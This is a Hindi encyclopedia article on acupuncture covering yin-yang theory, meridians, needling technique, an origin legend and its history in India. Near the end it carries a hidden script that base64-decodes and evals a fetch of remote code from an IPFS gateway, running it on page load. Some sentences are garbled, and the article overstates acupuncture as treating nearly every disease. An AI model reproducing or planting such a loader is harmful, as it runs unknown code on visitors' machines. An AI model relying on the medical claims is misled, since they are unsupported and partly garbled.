एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "१"।

एक्यूपंक्चर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
एक्यूपंक्चर (चीनी चिकित्सा पद्धति)

एक्यूपंक्चर (अंग्रेज़ी: Accupuncture) दर्द निवारण, रोगों के उपचार और सामान्य स्वास्थ्य के सुधार हेतु प्रयुक्त प्राचीन चीनी चिकित्सा पद्धति है। इसका प्रादुर्भाव चीन में 2500 ई.पू. हुआ और 20वीं शताब्दी के उत्तरार्ध में यह पद्धति संसार के कई क्षेत्रों में प्रयुक्त होने लगी। एक्यूपंक्चर में शरीर के विशिष्ट बिंदुओं पर चमड़ी में या उसके नीचे के ऊतकों में धातु की एक या कई में निर्मित होता है।

इतिहास

एक्यूपंक्चर प्राचीन चीनी दर्शन में यिन और यांग के द्वैतवादी सृष्टि सिद्धांत से उद्भूत है। यिन अर्थात् स्त्री तत्त्व, निष्क्रिय और गहरे रंग का है तथा पृथ्वी उसका प्रतीक है; यांग पुरुष तत्त्व है, जो क्रियाशील व श्वेत है और आसमान उसका प्रतीक है। यिन और यांग की शक्तियां मानव के शरीर में उसी प्रकार क्रियाशील रहती हैं, जैसी वह संपूर्ण ब्रह्मांड में सक्रिय हैं। रोग या शारीरिक असामंजस्यता इन दो शक्तियों के असंतुलन से या शरीर में इनके अतिप्रभाव से उत्पन्न होती हैं। चीनी चिकित्सा विधि का उद्देश्य यिन और यांग को पुन: संतुलन में लाना है, ताकि व्यक्ति को फिर से स्वस्थ बनाया जा सके।

एक्यूपंक्चर का लक्ष्य

यिन और यांग में असंतुलन जीवन-शक्ति में बाधा उत्पन्न करता है या शरीर की चि में अवरोध पैदा करता है। चि की आधारभूत ऊर्जा शरीर में 12 याम्योत्तर रेखाओं या मार्गों से प्रवाहित होती है और प्रत्येक मार्ग मुख्य आंत्र अंबंधी अंगों (यकृत, गुर्दे और अन्य अंगों) से जुड़ा है और साथ ही क्रियात्मक शारीरिक प्रणाली से भी संबद्ध है। एक्यूपंक्चर का लक्ष्य यिन और यांग के वितरण को इस प्रकार प्रभावित करना है कि चि की प्रवाह निर्बाध और समन्वित हो जाए।

सुई चुभाने की प्रक्रिया

वास्तविक प्रक्रिया के तहत एक्यूपंक्चर चिकित्सा में उन सैकड़ों बिंदुओं में से किसी में सुइयां चुभाना शामिल है, जो 12 मूल याम्योत्तर रेखाओं तथा अनेक विशिष्ट प्रवाह मार्गों पर स्थित हैं। उपयोग में लाई जाने वाली सुइयां तीर की नोक जैसे या बहुत सूक्ष्म नोक वाली होती हैं। सामान्य चुभाव तीन से दस मिमी गहराई तक होता है; किसी-किसी प्रक्रिया में 25 मिमी तक जाना जाना पड़ सकता है। एक बार चुभाने के बाद सुई को घुमाया या मरोड़ा जा सकता है अथवा प्रयोग के दौरान कम वोल्टेज की प्रत्यावर्ती विद्युत धारा से जोड़ा जा सकता है। एक्यूपंक्चर चिकित्सक अक्सर सुइयों को उस बिंदु से काफ़ी दूर चुभाते हैं, जहां उन्हें प्रभाव डालना है; उदाहरण के लिए, अंगूठे में चुभाई गई सुई से उदर का दर्द दूर होना चाहिए। इसी तरह, एक विशेष याम्योत्तर रेखा के एक-दूसरे से दूर विभिन्न बिंदुओं पर चुभाई गई सुइयां विभिन्न क्षेत्रों या बीमारियों पर असर करती हैं; उदाहरण के लिए, फेफड़े के यिन रेखांश के पहले छह बिंदु, मुख्यत: जोड़ों की सूजन, जोड़ों में अत्यधिक ताप, नाक से ख़ून बहने, हृदय में दर्द, मानसिक अवसाद तथा सिर के ऊपर बांह फैलाने की असमर्थता के उपचार के लिए हैं। विभिन्न बिंदुओं को भली प्रकार समझने और याद करने के लिए अनेक रेखाचित्रों और मॉडलों की सहायता ली जाती है।

एक्यूपंक्चर किसी भी प्रकार से दर्द निवारण में प्रभावी प्रतीत होता है और चीन में इसे सामान्य: शल्यक्रिया के दौरान निश्चेतक के रूप में प्रयोग किया जाता है। पश्चिमी प्रेक्षकों ने पूर्ण सचेत चीनी रोगियों को केवल एक्यूपंक्चर द्वारा स्थान विशेष को संज्ञा शून्य करके संपन्न की जा रही अत्यंत कठिन (और आमतौर पर बहुत दर्द भरी) शल्यक्रिया को देखा है। इस विषय में एक्यूपंक्चर की प्रभावशीलता को समझने के लिए कई सिद्धांत प्रतिपादित किए गए हैं। एक कल्पना यह है कि सुई चुभाए जाने पर शरीर में एंडोरफ़िंस या एनकेफ़ेलिंस जैसे प्राकृतिक स्वापद (दर्द निवारक रसायन) उत्तेजित होते हैं। अन्य लोगों की मान्यता है कि एक्यूपंक्चरजनित उत्तेजना केंद्रीय स्नायु प्रणाली को तीव्रता संप्रेषित कर कुछ स्नायुवीय द्वारों को बंद कर देती है, जो शरीर के दूसरे भागों से दर्द के भाव या चेतना का संवहन करते हैं। इस पद्धति का अध्ययन करने वाले कुछ पाश्चात्य पर्यवेक्षकों का मानना है कि एक्यूपंक्चर के दर्द निवारण का प्रकार स्पष्टत: पीड़ा शून्य या मृत कर देने जैसा है, फिर भी उसकी प्रभावशीलता से इनकार नहीं किया जा सकता। ऐसे दावे कि एक्यूपंक्चर से वास्तव में रोगों का इलाज किया जा सकता है, तार्किक चिकित्सकीय प्रणाली के विरुद्ध है और पाश्चात्य चिकित्सकीय अनुसंधानों द्वारा अभी इसकी पुष्टि बाक़ी है।

एक्यूपंक्चर का उद्भव

एक्यूपंक्चर के प्रारंभ की जानकारी इतिहास के अंधरे में है। किंवदंती के अनुसार, शताब्दियों पहले एक चीनी सिपाही का कंधा अकड़कर पीड़ादायक हो गया। वह अपने चिकित्सक के पास गया, जो भरपूर प्रयत्न के बाद भी कुछ न कर पाया। तब उस सिपाही ने दर्द के साथ ही जीने का निश्चय किया। एक दिन एक लड़ाई के दौरान चमत्कार हुआ। उसके पैर में घाव लगा और अचानक कई वर्षों से अकड़ा हुआ कष्टदायक कंधा आसानी से तथा बिना पीड़ा के हिलने-डुलने लगा।
जब सिपाही अपने गांव लौटा, तो उसने अपने चिकित्सक को बताया कि किस प्रकार उसका अकड़ा हुआ कंधा चमत्कारिक ढंग से ठीक हो गया। चिकित्सक ने उसके पैरों की गहन जांच की, पर वह यह नहीं समझ पाया कि पैर में तीर लगने से कंधा कैसे ठीक हो गया। एक दूसरा मरीज़ कंधे की अकड़न के इलाज़ के लिए चिकित्सक के पास बैठा था। कहानी सुनकर उसने चिकित्सक से कहा कि कृपया यही इलाज़ मुझ पर भी आज़माइए। चिकित्सक ने अपले तो इसे मूर्खतापूर्ण विचार माना, लेकिन चूंकि वह कई महीनों से उस मरीज़ का इलाज़ बिना सफलता पाए कर रहा था, इसलिए उसने यह प्रयोग आज़माने का निश्चय किया। उसने एक तीर लिया और सावधानी से उसे मरीज के पैर में चुभाया, लगभग उसी जगह पर, जहां उस सिपाही को तीर का घाव लगा था और सचमुच चमत्कार हुआ, मरीज़ के कंधे का दर्द ग़ायब हो गया। कुछ ही मिनटों में मरीज़ अपने कंधे को निर्बाध रूप से और बिना किसी पीड़ा के हिला-डुला रहा था। चूंकि यह इलाज संभावनाओं से भरा दिखाई दिया, इसलिए जब भी कोई मरीज़ अकड़े कंधे के साथ आया, चिकित्सक ने उसके पैर में तीर चुभाया। जल्द ही चिकित्सक अकड़े कंधों के इलाज के लिए देश भर में प्रसिद्ध हो गया। जैसे-जैसे उसका काम बढ़ा, उसने इसी सिद्धांत पर अन्य बीमारियों के इलाज के बारे में सोचना शुरू किया। उसने अपने मरीज़ों से पूछताछ शुरू की कि क्या उन्होंने कभी इसी प्रकार के आकस्मिक चमत्कारी रोग-शमन का अनुभव किया है। धीरे-धीरे उसने पाया कि शरीर के कुछ भागों में लगने वाली चोट शरीर के अन्य भागों के रोगों पर अनुकूल प्रभाव डालती है। हालांकि उसका इलाज बहुत प्रभावी था, परंतु कई मरीज़ तीर चुभाने वाले चिकित्सक के पास जाने में घबराते थे।
समय बीतने के साथ-साथ एक्यूपंक्चर बिंदुओं को उकसाने की अन्य विधियां खोजी गईं और तीरों की जगह सुइयों का इस्तेमाल होने लगा। इस प्रारंभिक आकस्मिक घटना को धीरे-धीरे एक्यूपंक्चर की कला में विकसित किया गया। आज लेज़रपंक्चर से बिना दर्द के, शुद्ध प्रकाश की किरण से वही प्रभाव उत्पन्न किया जाता है, जो कभी इसके आदिपुरुष तीर से करते थे।

भारत में एक्यूपंक्चर

भारत में सदियों से आयुर्वेद के एक भाग के रूप में एक्यूपंक्चर का प्रयोग होता आया है। भारतीय ग्रामीणों को शरीर के अन्य भागों में रोगों के लिए कानों में निर्धारित बिंदुओं पर बालियां पहने देखना एक सामान्य बात है। कई ग्रामीणों के पेट पर घाव के निशान दिखाई देते हैं, जो शरीर के उस क्षेत्र में दर्द का इलाज करने के लिए लोहे से दाग़ने के चिह्न हैं। यह एक प्रकार का ताप उपचार है, जिसका उद्भव चीन में हुआ था।

सदियों से चीन और भारत के बीच विचारों, दर्शन तथा साहित्य का भारी आदान-प्रदान होता रहा है। भारत से चीन की ओर यात्री एवं विद्वान् शिक्षा के प्रसार के लिए जाते रहे और चीन से तीर्थयात्री बौद्ध मठों विश्वविद्यालयों में अध्ययन के लिए आते रहे। इससे कुछ भारतीयों और जापानियों में यह धारणा बनी कि एक्यूपंक्चर का उद्भव भारत में हुआ और बाद में चीन में फैला।

भारत में आयुर्वेद चिकित्सा की एक प्रभावी तथा विकसित प्रणाली थी और एक्यूपंक्चर का प्रयोग केवल उन्हीं रोगों के उपचार के लिए किया जाता था, जिन पर आयुर्वेदिक इलाज कारगर नहीं होता था। चूंकि भारत में असंख्य जड़ी-बूटियां उपलब्ध थीं, जो विभिन्न रोगों के इलाज में बहुत प्रभावशाली थीं, इसलिए एक्यूपंक्चर का प्रचलन भारत में उतना विस्तृत नहीं था, जितना चीन के कुछ भागों में। जैसा पहले बताया गया है, पश्चिमोत्तर चीन में बहुत कम औषधीय वनस्पतियां उपलब्ध थीं, अत: पारंपरिक चिकित्सकों ने वहां एक्यूपंक्चर को काफ़ी उन्नत विज्ञान के रूप में विकसित किया। ब्रिटिश शासन की स्थापना के साथ पाश्चात्य चिकित्सा पद्धति को बढ़ावा दिए जाने के कारण एक्यूपंक्चर की कला अधिकांधत: लुप्त हो गई। केवल कुछ ग्रामीण चिकित्सक कतिपय 'प्रभावी बिंदुओं' के आधारभूत ज्ञान के आधार पर इसका प्रयोग करते थे। यह पद्धति पिता से पुत्र को हस्तांतरित होती रही। हाल के वर्षों में संसार भर में इस ज्ञान के प्रसार से लोगों में एक्यूपंक्चर में रुचि फिर से जागृत हुई है, ऐसा इसलिए हुआ, क्योंकि यह पद्धति अनेक रोगों के इलाज में असरदार है। आधुनिक वैज्ञानिक यंत्रों, जैसे लेज़र और पराध्वनि (अल्ट्रासाउंड) के आगमन से एकीकरण और एक्यूपंक्चर चिकित्सकों द्वारा उनके प्रयोग से प्राचीन चीनी पद्धति का आधुनिक तकतीक से एकीकरण हुआ, जिसके परिणामस्वरूप हमें एक ऐसा विज्ञान मिला है, जो असरदार भी है और आधुनिक भी।

ऐलोपैथी, होमियोपैथी और आयुर्वेद के समान ही एक्यूपंक्चर भी चिकित्सा की एक संपूर्ण पद्धति है। अन्य चिकित्सा पद्धतियों के समान ही इसमें लगभग हर बीमारी का इलाज है और दूसरी पद्धतियों के समान ही यह कुछ बीमारियों के इलाज में अत्यधिक कारगर है और कुछ में नहीं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  • पुस्तक- भारत ज्ञानकोश खंड-1 | पृष्ठ संख्या- 252| प्रकाशक- एन्साक्लोपीडिया ब्रिटैनिका, नई दिल्ली

बाहरी कड़ियाँ

संबंधित लेख